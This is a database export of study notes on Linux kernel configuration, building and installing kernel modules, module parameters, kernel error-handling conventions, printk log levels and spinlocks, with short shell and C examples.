`x86_64`: text txt 2024-07-28 10:08:19.958093 -4656 1306 make x86_64_defconfig code txt 2024-07-28 10:08:19.977094 -4657 1307 make ARCH=arm64 CROSS_COMPILE=aarch64-unknown-linux-gnu- make defconfig code txt 2024-07-28 10:08:20.186568 -4658 1308 Following target prompts for every new configuration option: text txt 2024-07-28 10:08:20.660598 -4659 1308 make oldconfig code txt 2024-07-28 10:08:20.680987 -4660 1308 You can avoid prompting new configuration options by setting their default values: text txt 2024-07-28 10:08:20.701567 -4661 1308 make olddefconfig code txt 2024-07-28 10:08:20.721135 -4662 1308 Or you can say no to every new option by: text txt 2024-07-28 10:08:20.741752 -4663 1308 make oldnoconfig code txt 2024-07-28 10:08:20.761357 -4664 1309 Debian and Ubuntu Linux distributions save the `.config` file in the `/boot` directory: text txt 2024-07-28 10:08:21.194619 -4665 1309 cp /boot/config-$(uname -r) .config code txt 2024-07-28 10:08:21.21548 -4666 1309 The other distributions may not do this. text txt 2024-07-28 10:08:21.237672 -4667 1309 When `IKCONFIG` and `IKCONFIG_PROC` kernel configuration options enabled, the configuration file can also be found in: text txt 2024-07-28 10:08:21.258088 -4668 1309 /proc/configs.gz code txt 2024-07-28 10:08:21.278517 -4669 1310 * `IKCONFIG`: This is a boolean option to enable this feature.\n* `IKCONFIG_PROC`: Boolean option, when set to `y` the `config.gz` file becomes available in `/proc`. text txt 2024-07-28 10:08:21.469513 -4670 1311 * `CMDLINE_EXTEND`: This is a boolean option to enable this feature.\n* `CMDLINE`: This options is a string containing the actual command-line extension value. text txt 2024-07-28 10:08:21.823239 -4671 1311 For example: text txt 2024-07-28 10:08:21.843849 -4672 1311 ```\nCMDLINE="noinitrd usbcore.authorized_default=0"\n`````` text txt 2024-07-28 10:08:21.864236 -5029 1426 code txt 2024-07-28 10:09:10.127366 -4673 1312 `CONFIG_KALLSYMS`: This is very useful for tracers and other tools that need to map kernel symbols to addresses. It is used while you're printing oops messages. Without this, oops listings would produce hexadecimal output, which is difficult to interpret. text txt 2024-07-28 10:08:22.059858 -4674 1313 `CONFIG_PRINTK_TIME`: This is a boolean option to enable this feature. text txt 2024-07-28 10:08:22.228493 -4675 1314 `CONFIG_INPUT_EVBUG` text txt 2024-07-28 10:08:22.412025 -4676 1315 `CONFIG_MAGIC_SYSRQ`: This is a boolean option to enable this feature. text txt 2024-07-28 10:08:22.582075 -4677 1316 `FTRACE` and `DYNAMIC_FTRACE` text txt 2024-07-28 10:08:22.748159 -4678 1317 * `FUNCTION_TRACER`: allows tracing functions.\n* `FUNCTION_GRAPH_TRACER`: This also shows a call graph. text txt 2024-07-28 10:08:22.964201 -4679 1318 `IRQSOFF_TRACER` text txt 2024-07-28 10:08:23.129844 -4680 1319 * `PREEMPT_TRACER`\n* `SCHED_TRACER` text txt 2024-07-28 10:08:23.353732 -4681 1320 If not specified, the `make` target is `all`. text txt 2024-07-28 10:08:23.761654 -4682 1320 ARCH=aarch64 CROSS_COMPILE=aarch64-unknown-linux-gnueabihf- make code txt 2024-07-28 10:08:23.782342 -4683 1320 For `x86` or `x86_64` architectures, this target points to `vmlinux`, `bzImage`, and `modules` targets.\nFor `arm` or `aarch64` architectures, it corresponds to `vmlinuz`, `zImage`, `modules`, and `dtbs` targets. text txt 2024-07-28 10:08:23.802611 -4684 1320 `make` can leverage the host's CPU performance by running multiple jobs in parallel: text txt 2024-07-28 10:08:23.823936 -4685 1320 make -j8 code txt 2024-07-28 10:08:23.844429 -4686 1321 * `arch//boot/Image`: An uncompressed kernel image that can be booted.\n* `arch//boot/*Image*`: A compressed kernel image that can also be booted.\n* `arch//boot/dts/*.dtb`: Provides compiled device tree blobs for the selected CPU variant.\n* `vmlinux`: A raw, uncompressed, and unstripped kernel image in ELF format. It's useful for debugging purposes but generally not used for booting purposes. text txt 2024-07-28 10:08:24.079294 -4687 1322 In native installation following command copies artifacts like `/boot/vmlinuz-`, `/boot/System.map-`, and `/boot/config-` files on the host. text txt 2024-07-28 10:08:24.374647 -4688 1322 sudo make install code txt 2024-07-28 10:08:24.39562 -4689 1322 However, an embedded installation usually uses a single file kernel. text txt 2024-07-28 10:08:24.415305 -4690 1323 make modules\nsudo make modules_install code txt 2024-07-28 10:08:24.731867 -4691 1323 The resulting modules will be installed in `/lib/modules/$(uname -r)/kernel/`, in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:24.753485 -4692 1324 The resulting modules will be installed in `/lib/modules/$(uname -r)/kernel/`, in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:25.142805 -4693 1324 ARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- make modules code txt 2024-07-28 10:08:25.164084 -4694 1324 However, this can be changed by specifying modules path with `INSTALL_MOD_PATH`: text txt 2024-07-28 10:08:25.183883 -4695 1324 ARCH=arm CROSS_COMPILE=armv6-unknown-linux-gnueabihf- INSTALL_MOD_PATH=

make modules_install code txt 2024-07-28 10:08:25.205134 -4696 1325 Module files are installed in `/lib/modules//`: text txt 2024-07-28 10:08:25.508321 -4697 1325 * `modules.builtin`: This lists all the kernel objects (.ko) that are built into the kernel. It is used by the module loading utility (modprobe, for example) so that it does not fail when it's trying to load something that's already built in. `modules.builtin.bin` is its binary counterpart.\n* `modules.alias`: This contains the aliases for module loading utilities, which are used to match drivers and devices.\n* `modules.dep`: This lists modules, along with their dependencies. `modules.dep.bin` is its binary counterpart.\n* `modules.symbols`: This tells us which module a given symbol belongs to. They are in the form of `alias symbol: `. An example is `alias symbol:v4l2_async_notifier_register videodev`. `modules.symbols.bin` is the binary counterpart of this file. text txt 2024-07-28 10:08:25.530725 -4698 1325 And the rest of module files will be stored in `/lib/modules//kernel/` in the same directory structure as their corresponding source. text txt 2024-07-28 10:08:25.551684 -4699 1326 Static modules are available at any time in the kernel image and thus can't\nbe unloaded, at the cost of extra size to the final kernel image. A static\nmodule is also known as a built-in module, since it is part of the final\nkernel image output. Any change in its code will require the whole kernel to\nbe rebuilt. text txt 2024-07-28 10:08:25.921932 -4700 1326 Some features (such as device drivers, filesystems, and frameworks) can,\nhowever, be compiled as loadable modules. Such modules are separated from the\nfinal kernel image and are loaded on demand. text txt 2024-07-28 10:08:25.943309 -4701 1327 `CONFIG_MODULES=y` text txt 2024-07-28 10:08:26.140248 -4702 1328 `CONFIG_MODULE_UNLOAD=y` text txt 2024-07-28 10:08:26.32747 -4703 1329 `CONFIG_MODULE_FORCE_UNLOAD=y` text txt 2024-07-28 10:08:26.538696 -4704 1330 #include \n#include text txt 2024-07-28 10:08:27.130592 -4705 1330 static int __init load_sample(void)\n{\n pr_info("Sample module loaded");\n return 0;\n} text txt 2024-07-28 10:08:27.151757 -4706 1330 static void __exit unload_sample(void)\n{\n pr_info("Sample module unloaded");\n} text txt 2024-07-28 10:08:27.172762 -4707 1330 module_init(load_sample);\nmodule_exit(unload_sample); text txt 2024-07-28 10:08:27.19379 -4708 1330 MODULE_LICENSE("GPL");\nMODULE_AUTHOR("Brian Salehi ");\nMODULE_DESCRIPTION("Sample module to do nothing"); code txt 2024-07-28 10:08:27.214187 -4709 1331 * `module_init()` is used to declare the function that should be called when the module is loaded.\n* `module_exit()` is used only when the module can be built as a loadable kernel module. text txt 2024-07-28 10:08:27.490972 -4710 1331 Both methods are invoked only once, whatever the number of devices currently handled by the module, provided the module is a device driver. text txt 2024-07-28 10:08:27.51141 -4711 1332 `__init` and `__exit` are kernel macros, defined in `include/linux/init.h`.\nThey are Linux directives (macros) that wrap GNU C compiler attributes used for symbol placement.\nThey instruct the compiler to put the code they prefix in the `.init.text` and `.exit.text` sections. text txt 2024-07-28 10:08:28.148582 -4712 1332 #define __init __section(.init.text)\n#define __exit __section(.exit.text) code txt 2024-07-28 10:08:28.16993 -4713 1332 `__init`: text txt 2024-07-28 10:08:28.190434 -4714 1332 The `__init` keyword tells the linker to place the symbols (variables or functions)\nthey prefix in a dedicated section in the resulting kernel object file.\nThis section is known in advance to the kernel and freed when the module is loaded\nand the initialization function has finished.\nThis applies only to built-in modules, not to loadable ones.\nSince the driver cannot be unloaded, its initialization function will never be called\nagain until the next reboot.\nThere is no need to keep references on this initialization function anymore. text txt 2024-07-28 10:08:28.211629 -4715 1332 `__exit`: text txt 2024-07-28 10:08:28.233422 -4754 1346 obj-m: [target].o\n make -C /opt/linux-stable/build M=$(PWD) [target] code txt 2024-07-28 10:08:33.61682 -4942 1402 Origin: Effectively use module commands text txt 2024-07-28 10:08:57.086139 -4716 1332 It is the same for the `__exit` keyword and the exit method, whose corresponding code\nis omitted when the module is compiled statically into the kernel or when module\nunloading support is not enabled because, in both cases, the exit function\nis never called.\n`__exit` has no effect on loadable modules. text txt 2024-07-28 10:08:28.253914 -4717 1333 A kernel module uses its `.modinfo` section to store information about the module. text txt 2024-07-28 10:08:28.422225 -4718 1334 Any `MODULE_*` macro will update the content of `.modinfo` section with the values passed as parameters.\nSome of these macros are `MODULE_DESCRIPTION()`, `MODULE_AUTHOR()`, and `MODULE_LICENSE()`. text txt 2024-07-28 10:08:28.631409 -4719 1335 MODULE_INFO(tag, info); code txt 2024-07-28 10:08:28.838614 -4720 1336 ${CROSS_COMPILE}objdump -d -j .modinfo .ko\n${CROSS_COMPILE}objdump --disassembly --section .modinfo .ko code txt 2024-07-28 10:08:29.066526 -4721 1337 The license will define how your source code should be shared (or not) with other developers.\n`MODULE_LICENSE()` tells the kernel what license our module is under.\nIt has an effect on your module behavior, since a license that is not compatible with\n**GPL (General Public License)** will result in your module not being able to see/use\nsymbols exported by the kernel through the `EXPORT_SYMBOL_GPL()` macro,\nwhich shows the symbols for GPL-compatible modules only.\nThis is the opposite of `EXPORT_SYMBOL()`, which exports functions for modules with any license. text txt 2024-07-28 10:08:29.470697 -4722 1337 Loading a non-GPL-compatible module will result in a tainted kernel; that means non-open source or untrusted code has been loaded, and you will likely have no support from the community. text txt 2024-07-28 10:08:29.493098 -4723 1337 Remember that the module without `MODULE_LICENSE()` is not considered open source and will taint the kernel too.\nAvailable licenses can be found in `include/linux/module.h`, describing the license supported by the kernel. text txt 2024-07-28 10:08:29.515525 -4724 1338 When code is outside of the kernel source tree, it is known as **out-of-tree** building.\nBuilding a module this way does not allow integration into the kernel configuration/compilation process, and the module needs to be built separately.\nIt must be noted that with this solution, the module cannot be statically linked in the final kernel image – that is, it cannot be built in.\nOut-of-tree compilation only allows **loadable kernel modules** to be produced. text txt 2024-07-28 10:08:29.745952 -4725 1339 With this building method the code is inside the kernel tree, which allows you to upstream your code, since it is well integrated into the kernel configuration/compilation process.\nThis solution allows you to produce either a statically linked module (also known as **built-in**) or a **loadable kernel module**. text txt 2024-07-28 10:08:29.966527 -4726 1340 obj-m := helloworld.o text txt 2024-07-28 10:08:30.678449 -4727 1340 KERNEL_SRC ?= /lib/modules/$(shell uname -r)/build text txt 2024-07-28 10:08:30.699147 -4728 1340 all default: modules\ninstall: modules_install text txt 2024-07-28 10:08:30.719297 -4729 1340 modules modules_install help clean:\n $(MAKE) -C $(KERNEL_SRC) M=$(shell pwd) $@ code txt 2024-07-28 10:08:30.739687 -4730 1340 `KERNEL_SRC`: This is the location of the prebuilt kernel source which usually is `/lib/modules/$(uname -r)/build`.\nThere is also a symbolic link `/usr/src/linux` pointing to this directory.\nAs we said earlier, we need a prebuilt kernel in order to build any module.\nIf you have built your kernel from the source, you should set this variable with the absolute path of the built source directory.\n`–C` instructs the make utility to change into the specified directory reading the makefiles. text txt 2024-07-28 10:08:30.76186 -4731 1340 `M`: This is relevant to the kernel build system.\nThe `Makefile` kernel uses this variable to locate the directory of an external module to build.\nYour `.c` files should be placed in that directory. text txt 2024-07-28 10:08:30.781783 -4732 1340 `$(MAKE) -C $(KERNEL_SRC) M=$(shell pwd) $@`: This is the rule to be executed for each of the targets enumerated previously.\nUsing this kind of magic word prevents us from writing as many (identical) lines as there are targets. text txt 2024-07-28 10:08:30.801786 -4733 1340 make\nmake modules code txt 2024-07-28 10:08:30.822731 -4734 1341 * `all`: The default target which depends on the `modules` target.\n* `modules`: This is the default target for external modules. It has the same functionality as if no target was specified.\n* `install`: Depends on `modules_install` target.\n* `modules_install`: This installs the external module(s). The default location is `/lib/modules//extra/`. This path can be overridden by `INSTALL_MOD_PATH` option.\n* `clean`: This removes all generated files. text txt 2024-07-28 10:08:31.090871 -4735 1342 We must specify the name of the module(s) to be built, along with the list of requisite source files: text txt 2024-07-28 10:08:31.573359 -4736 1342 obj- := .o code txt 2024-07-28 10:08:31.594248 -4737 1342 `` can be either y, m, or left blank. text txt 2024-07-28 10:08:31.615375 -4738 1342 In the preceding, the kernel build system will build `.o` from `.c` or `.S`, and after linking, it will result in the `.ko` kernel loadable module or will be part of the single-file kernel image. text txt 2024-07-28 10:08:31.636326 -4739 1342 However, the `obj-$(CONFIG_XXX)` pattern is often used, where `CONFIG_XXX` is a kernel configuration option, set or not, during the kernel configuration process: text txt 2024-07-28 10:08:31.657273 -4740 1342 obj-$(CONFIG_MYMODULE) += mymodule.o code txt 2024-07-28 10:08:31.678084 -4741 1342 `$(CONFIG_MYMODULE)` evaluates to either y, m, or nothing (blank), according to its value during the kernel configuration. text txt 2024-07-28 10:08:31.699237 -4742 1343 -y := .o .o code txt 2024-07-28 10:08:32.372369 -4743 1343 The `.ko` will be built from two files, `file1.c` and `file2.c`.\nHowever, if you wanted to build two modules, let's say `foo.ko` and `bar.ko`, the Makefile line would be as follows: text txt 2024-07-28 10:08:32.393336 -4744 1343 obj-m := foo.o bar.o code txt 2024-07-28 10:08:32.414538 -4745 1343 If `foo.o` and `bar.o` are made of source files other than `foo.c` and `bar.c`, you can specify the appropriate source files of each object file, as shown here: text txt 2024-07-28 10:08:32.437256 -4746 1343 obj-m := foo.o bar.o\nfoo-y := foo1.o foo2.o . . .\nbar-y := bar1.o bar2.o bar3.o . . . code txt 2024-07-28 10:08:32.457902 -4747 1343 The following is another example of listing the requisite source files to build a given module: text txt 2024-07-28 10:08:32.477662 -4748 1343 obj-m := 8123.o\n8123-y := 8123_if.o 8123_pci.o 8123_bin.o code txt 2024-07-28 10:08:32.50049 -4749 1344 ccflags-y := -I$(src)/include\nccflags-y += -I$(src)/src/hal/include\nldflags-y := -T$(src)foo_sections.lds code txt 2024-07-28 10:08:32.775426 -4750 1345 Included directories should contain `Makefile` or `Kbuild` files. text txt 2024-07-28 10:08:33.091276 -4751 1345 obj- += somedir/ code txt 2024-07-28 10:08:33.111333 -4752 1345 This means that the kernel build system should go into the directory named somedir and look for any `Makefile` or `Kbuild` files inside, processing it in order to decide what objects should be built. text txt 2024-07-28 10:08:33.131934 -4753 1346 Building the kernel from source in a directory like `/opt`.\nThen pointing to the build directory in `Makefile`: text txt 2024-07-28 10:08:33.595381 -4755 1346 An alternative is installing the `linux-headers-*` package from the distribution package feed. (x86 only)\nThis will install preconfigured and prebuilt kernel headers (not the whole source tree) in `/usr/src/linux` which a symbolic link to `/lib/modules/$(uname -r)/build`.\nIt is the path you should specify as the kernel directory in `Makefile` as follows: text txt 2024-07-28 10:08:33.638077 -4756 1346 obj-m: [target].o\n make -C /usr/src/linux M=$(PWD) [target]`. code txt 2024-07-28 10:08:33.658396 -4757 1347 sudo journalctl -fk text txt 2024-07-28 10:08:33.936393 -4758 1347 sudo insmod helloworld.ko\nsudo rmmod helloworld code txt 2024-07-28 10:08:33.958044 -4759 1348 In-tree module building requires dealing with an additional file, `Kconfig`, which allows us to expose the module features in the configuration menu. text txt 2024-07-28 10:08:34.645662 -4760 1348 Given your filename, `sample.c`, which contains the source code of your special character driver, it should be moved to the `drivers/char` directory in the kernel source. text txt 2024-07-28 10:08:34.666289 -4761 1348 Every subdirectory in the `drivers` has both `Makefile` and `Kconfig` files.\nAdd the following template to the `Kconfig` file of that directory to add support for the **built-in** module: text txt 2024-07-28 10:08:34.687436 -4762 1348 config SAMPLE\n tristate "Sample character driver"\n default m\n help\n Say Y to support /dev/sample character driver.\n The /dev/sample is used for practical examples. code txt 2024-07-28 10:08:34.708572 -4763 1348 In `Makefile` in that same directory, add the following line: text txt 2024-07-28 10:08:34.729633 -4764 1348 obj-$(CONFIG_SAMPLE) += sample.o code txt 2024-07-28 10:08:34.750347 -4765 1348 In order to have your module built as a **loadable kernel module**, add the following line to your `defconfig` board in the `arch/arm/configs` directory: text txt 2024-07-28 10:08:34.770731 -4766 1348 CONFIG_SAMPLE=m code txt 2024-07-28 10:08:34.790912 -4767 1349 #include \n#include \n#include text txt 2024-07-28 10:08:35.690987 -4768 1349 static char *name = "first parameter"; text txt 2024-07-28 10:08:35.71168 -4769 1349 module_param(name, charp, S_IRUGO|S_IWUSR); text txt 2024-07-28 10:08:35.73346 -4770 1349 MODULE_PARM_DESC(name, "First parameter description"); text txt 2024-07-28 10:08:35.754643 -4771 1349 static int __init load_sample(void)\n{\n pr_notice("Sample: Module Loaded\\\\n");\n pr_info("Sample Parameter: %s\\\\n", name);\n return 0;\n} text txt 2024-07-28 10:08:35.775683 -4772 1349 static void __exit unload_sample(void)\n{\n pr_notice("Sample: Module Unloaded\\\\n");\n} text txt 2024-07-28 10:08:35.797081 -4773 1349 module_init(load_sample);\nmodule_exit(unload_sample); text txt 2024-07-28 10:08:35.818423 -4774 1349 MODULE_AUTHOR("Brian Salehi ");\nMODULE_LICENSE("GPL");\nMODULE_VERSION("0.1");\nMODULE_DESCRIPTION("Sample Kernel Module"); code txt 2024-07-28 10:08:35.840274 -4775 1349 sudo insmod parameters.ko name="modified parameter" code txt 2024-07-28 10:08:35.860593 -4776 1350 It is also possible to find and edit the current values for the parameters of a loaded module from **Sysfs** in `/sys/module//parameters`.\nIn that directory, there is one file per parameter, containing the parameter value.\nThese parameter values can be changed if the associated files have write permissions text txt 2024-07-28 10:08:36.069292 -4777 1351 Parameters can be passed by the bootloader or provided by the `CONFIG_CMDLINE` configuration option: text txt 2024-07-28 10:08:36.321548 -4778 1351 CONFIG_CMDLINE=... my_module.param=value code txt 2024-07-28 10:08:36.341282 -4779 1352 To be visible to a kernel module, functions and variables must be explicitly exported by the kernel.\nThus, the Linux kernel exposes two macros that can be used to export functions and variables.\nThese are the following: text txt 2024-07-28 10:08:36.67541 -4780 1352 * `EXPORT_SYMBOL(symbolname)`: This macro exports a function or variable to all modules.\n* `EXPORT_SYMBOL_GPL(symbolname)`: This macro exports a function or variable only to GPL modules. text txt 2024-07-28 10:08:36.696813 -4781 1352 `EXPORT_SYMBOL()` or its `GPL` counterpart are Linux kernel macros that make a symbol available to loadable kernel modules or dynamically loaded modules (provided that said modules add an extern declaration – that is, include the headers corresponding to the compilation units that exported the symbols). text txt 2024-07-28 10:08:36.717397 -4782 1352 Code that is built into the kernel itself (as opposed to loadable kernel modules) can, of course, access any non-static symbol via an extern declaration, as with conventional C code. text txt 2024-07-28 10:08:36.738792 -4783 1353 It does that by reading each module in `/lib/modules//` to determine what symbols it should export and what symbols it needs.\nThe result of that process is written to a `modules.dep` file, and its binary version, `modules.dep.bin`. text txt 2024-07-28 10:08:36.945505 -4784 1354 During development, you usually use `insmod` in order to load a module.\n`insmod` should be given the path of the module to load, as follows: text txt 2024-07-28 10:08:37.244084 -4785 1354 insmod /path/to/mydrv.ko code txt 2024-07-28 10:08:37.263689 -4786 1354 `modprobe` is a clever command that parses the `modules.dep` file in order to load dependencies first, prior to loading the given module. text txt 2024-07-28 10:08:37.284363 -4787 1355 When kernel developers write drivers, they know exactly what hardware the drivers will support.\nThey are then responsible for feeding the drivers with the product and vendor IDs of all devices supported by the driver.\n`depmod` also processes module files in order to extract and gather that information and generates a `modules.alias` file, located in `/lib/modules//modules.alias`, which maps devices to their drivers. text txt 2024-07-28 10:08:37.771366 -4788 1355 ```modules.alias\nalias usb:v0403pFF1Cd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\nalias usb:v0403pFF18d*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\nalias usb:v0403pDAFFd*dc*dsc*dp*ic*isc*ip*in* ftdi_sio\n`````` text txt 2024-07-28 10:08:37.792239 -4789 1355 At this step, you'll need a user space **hotplug agent** (or device manager), usually `udev` (or `mdev`), that will register with the kernel to get notified when a new device appears.\nThe notification is done by the kernel, sending the device's description (the product ID, the vendor ID, the class, the device class, the device subclass,\nthe interface, and any other information that can identify a device) to the hotplug daemon, which in turn calls `modprobe` with this information.\n`modprobe` then parses the `modules.alias` file in order to match the driver associated with the device.\nBefore loading the module, `modprobe` will look for its dependencies in `module.dep`.\nIf it finds any, they will be loaded prior to the associated module loading; otherwise, the module is loaded directly. text txt 2024-07-28 10:08:37.814192 -4790 1356 If you want some modules to be loaded at boot time, just create a `/etc/modules-load.d/.conf` file and add the module names that should be loaded, one per line: text txt 2024-07-28 10:08:38.137651 -4791 1356 uio\niwlwifi code txt 2024-07-28 10:08:38.157784 -4792 1356 These configuration files are processed by `systemd-modules-load.service`, provided that `systemd` is the initialization manager on your machine.\nOn `SysVinit` systems, these files are processed by the `/etc/init.d/kmod` script. text txt 2024-07-28 10:08:38.178122 -4946 1404 modprobe ecryptfs code txt 2024-07-28 10:08:57.588782 -4793 1357 The usual command to unload a module is `rmmod`.\nThis is preferable to unloading a module loaded with the `insmod` command: text txt 2024-07-28 10:08:38.552925 -4794 1357 sudo rmmod mymodule code txt 2024-07-28 10:08:38.57408 -4795 1357 On the other hand, `modeprobe –r` automatically unloads unused dependencies: text txt 2024-07-28 10:08:38.593439 -4796 1357 modprobe -r mymodule code txt 2024-07-28 10:08:38.613757 -4797 1358 lsmod code txt 2024-07-28 10:08:39.036158 -4798 1358 The output includes the name of the module, the amount of memory it uses, the number of other modules that use it, and finally, the name of these. text txt 2024-07-28 10:08:39.056793 -4799 1358 The output of `lsmod` is actually a nice formatting view of what you can see under `/proc/modules`: text txt 2024-07-28 10:08:39.076751 -4800 1358 cat /proc/modules code txt 2024-07-28 10:08:39.098207 -4801 1358 The preceding output is raw and poorly formatted.\nTherefore, it is preferable to use `lsmod`. text txt 2024-07-28 10:08:39.120028 -4802 1359 Some of the errors are defined in `include/uapi/asm-generic/errno-base.h`, and the rest of the list can be found in `include/uapi/asm-generic/errno.h`. text txt 2024-07-28 10:08:39.295197 -4803 1360 The standard way to return an error is to do so in the form of `return –ERROR`, especially when it comes to answering system calls.\nFor example, for an I/O error, the error code is `EIO`, and you should return `-EIO`, as follows: text txt 2024-07-28 10:08:39.624549 -4804 1360 dev = init(&ptr);\nif(!dev)\n return –EIO code txt 2024-07-28 10:08:39.645393 -4805 1361 When you face an error, you must undo everything that has been set until the error occurred. text txt 2024-07-28 10:08:40.415724 -4806 1361 ret = 0; text txt 2024-07-28 10:08:40.436711 -4807 1361 ptr = kmalloc(sizeof (device_t)); text txt 2024-07-28 10:08:40.457832 -4808 1361 if(!ptr) {\n ret = -ENOMEM\n goto err_alloc;\n} text txt 2024-07-28 10:08:40.478272 -4809 1361 dev = init(&ptr); text txt 2024-07-28 10:08:40.499501 -4810 1361 if(!dev) {\n ret = -EIO\n goto err_init;\n} text txt 2024-07-28 10:08:40.522206 -4811 1361 return 0; text txt 2024-07-28 10:08:40.542809 -4812 1361 err_init:\n free(ptr); text txt 2024-07-28 10:08:40.564414 -4813 1361 err_alloc:\n return ret; code txt 2024-07-28 10:08:40.585745 -4814 1361 By using the `goto` statement, we have straight control flow instead of a nest. text txt 2024-07-28 10:08:40.606698 -4815 1361 That said, you should only use `goto` to move forward in a function, not backward, nor to implement loops (as is the case in an assembler). text txt 2024-07-28 10:08:40.628148 -4816 1362 When it comes to returning an error from functions that are supposed to return a pointer, functions often return the `NULL` pointer.\nIt is functional but it is a quite meaningless approach, since we do not exactly know why this `NULL` pointer is returned.\nFor that purpose, the kernel provides three functions, `ERR_PTR`, `IS_ERR`, and `PTR_ERR`, defined as follows: text txt 2024-07-28 10:08:41.702116 -4817 1362 void *ERR_PTR(long error);\nlong IS_ERR(const void *ptr);\nlong PTR_ERR(const void *ptr); code txt 2024-07-28 10:08:41.72245 -4818 1362 * `ERR_PTR`: The first macro returns the error value as a pointer.\n* `IS_ERR`: The second macro is used to check whether the returned value is a pointer error using `if(IS_ERR(foo))`.\n* `PTR_ERR`: The last one returns the actual error code, `return PTR_ERR(foo)`. text txt 2024-07-28 10:08:41.743467 -4819 1362 static struct iio_dev *indiodev_setup()\n{\n ...\n struct iio_dev *indio_dev;\n indio_dev = devm_iio_device_alloc(&data->client->dev, sizeof(data)); text txt 2024-07-28 10:08:41.765218 -4820 1362 if (!indio_dev)\n return ERR_PTR(-ENOMEM); text txt 2024-07-28 10:08:41.786229 -4821 1362 ...\n return indio_dev;\n} text txt 2024-07-28 10:08:41.807102 -4822 1362 static int foo_probe(...)\n{\n ...\n struct iio_dev *my_indio_dev = indiodev_setup(); text txt 2024-07-28 10:08:41.828152 -4823 1362 if (IS_ERR(my_indio_dev))\n return PTR_ERR(data->acc_indio_dev);\n ...\n} code txt 2024-07-28 10:08:41.849502 -4824 1362 This is an excerpt of the kernel coding style that states that if a function's name is an action or an **imperative** command, the function should return an integer error code.\nIf, however, the function's name is a **predicate**, this function should return a Boolean to indicate the succeeded status of the operation. text txt 2024-07-28 10:08:41.870918 -4825 1362 For example, `add_work()` function is imperative and returns `0` for success or `-EBUSY` for failure.\nOn the other hand, `pci_dev_present()` function is a predicate and returns `1` if it succeeds in finding a matching device or `0` if it doesn't. text txt 2024-07-28 10:08:41.892103 -4826 1363 Depending on how important the message to print is, `printk()` allowed you to choose between eight log-level messages, defined in `include/linux/kern_levels.h`. text txt 2024-07-28 10:08:42.062227 -4827 1364 * `pr_(...)`: This is used in regular modules that are not device drivers.\n* `dev_(struct device *dev, ...)`: This is to be used in device drivers that are not network devices.\n* `netdev_(struct net_device *dev, ...)`: This is used in `netdev` drivers exclusively. text txt 2024-07-28 10:08:42.301722 -4828 1365 * `pr_devel`: Dead code not being compiled, unless `DEBUG` is defined.\n* `pr_debug`, `dev_dbg`, `netdev_dbg`: Used for debug messages.\n* `pr_info`, `dev_info`, `netdev_info`: Used for informational purposes, such as start up information at driver initialization.\n* `pr_notice`, `dev_notice`, `netdev_notice`: Nothing serious but notable. Often used to report security events.\n* `pr_warn`, `dev_warn`, `netdev_warn`: Nothing serious but might indicate problems.\n* `pr_err`, `dev_err`, `netdev_err`: An error condition, often used by drivers to indicate difficulties with hardware.\n* `pr_crit`, `dev_crit`, `netdev_crit`: A critical condition occured, such as a serious hardware/software failure.\n* `pr_alert`, `dev_alert`, `netdev_alert`: Something bad happened and action must be taken immediately.\n* `pr_emerg`, `dev_emerg`, `netdev_emerg`: The system is about to crash or is unstable. text txt 2024-07-28 10:08:42.659464 -4829 1366 Whenever a message is printed, the kernel compares the message log level with the current console log level;\nif the former is higher (lower value) than the last, the message will be immediately printed to the console.\nYou can check your log-level parameters with the following: text txt 2024-07-28 10:08:43.031412 -4830 1366 cat /proc/sys/kernel/printk code txt 2024-07-28 10:08:43.05172 -4831 1366 First number is current log level.\nSecond value is the default log level, according to the `CONFIG_MESSAGE_LOGLEVEL_DEFAULT` option. text txt 2024-07-28 10:08:43.072113 -4832 1367 echo 4 > /proc/sys/kernel/printk code txt 2024-07-28 10:08:43.288261 -4833 1368 To prefix the module log, define `pr_fmt` macro: text txt 2024-07-28 10:08:43.67387 -4834 1368 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt\n#define pr_fmt(fmt) "%: " fmt, __func__ code txt 2024-07-28 10:08:43.694838 -4835 1368 Consider the `net/bluetooth/lib.c` file in the kernel source tree: text txt 2024-07-28 10:08:43.716438 -4836 1368 #define pr_fmt(fmt) "Bluetooth: " fmt code txt 2024-07-28 10:08:43.736448 -4837 1369 We can enumerate two synchronization mechanisms, as follows: text txt 2024-07-28 10:08:44.246989 -4904 1388 Simple sleeps are implemented in the kernel using dedicated APIs; waking up from such sleeps is implicit and handled by the kernel itself after the duration expires. text txt 2024-07-28 10:08:52.514615 -4838 1369 1. **Locks**: Used for mutual exclusion. When one contender holds the lock, no other can hold it (others are excluded). The most known locks in the kernel are **spinlocks** and **mutexes**. text txt 2024-07-28 10:08:44.267155 -4839 1369 A resource is said to be shared when it is accessible by several contenders, whether exclusively or not.\nWhen it is exclusive, access must be synchronized so that only the allowed contender(s) may own the resource. text txt 2024-07-28 10:08:44.287582 -4840 1369 The operating system performs mutual exclusion by atomically modifying a variable that holds the current state of the resource, making this visible to all contenders that might access the variable at the same time. text txt 2024-07-28 10:08:44.309222 -4841 1369 2. **Conditional variables**: For waiting for a change. These are implemented differently in the kernel as **wait queues** and **completion queues**. text txt 2024-07-28 10:08:44.331319 -4842 1369 Apart from dealing with the exclusive ownership of a given shared resource, there are situations where it is better to wait for the state of the resource to change. text txt 2024-07-28 10:08:44.352029 -4843 1369 The Linux kernel does not implement conditional variables, but to achieve the same or even better, the kernel provides the following mechanisms: text txt 2024-07-28 10:08:44.372867 -4844 1369 * **Wait queue**: To wait for a change — designed to work in concert with locks.\n* **Completion queue**: To wait for the completion of a given computation, mostly used with DMAs. text txt 2024-07-28 10:08:44.394405 -4845 1370 A *spinlock* is a hardware-based locking primitive that depends on hardware capabilities to provide atomic operations (such as `test_and_set`, which in a non-atomic implementation would result in read, modify, and write operations).\nIt is the simplest and the base locking primitive. text txt 2024-07-28 10:08:44.693769 -4846 1370 When *CPUB* is running, and task B wants to acquire the spinlock while *CPUA* has already called this spinlock's locking function, *CPUB* will simply spin around a `while` loop until the other CPU releases the lock. text txt 2024-07-28 10:08:44.714026 -4847 1370 This spinning will only happen on multi-core machines because, on a single-core machine, it cannot happen. text txt 2024-07-28 10:08:44.734564 -4848 1370 A *spinlock* is said to be a lock held by a CPU, in contrast to a *mutex* which is a lock held by a task. text txt 2024-07-28 10:08:44.755686 -4849 1371 A spinlock operates by disabling the scheduler on the local CPU. text txt 2024-07-28 10:08:45.028186 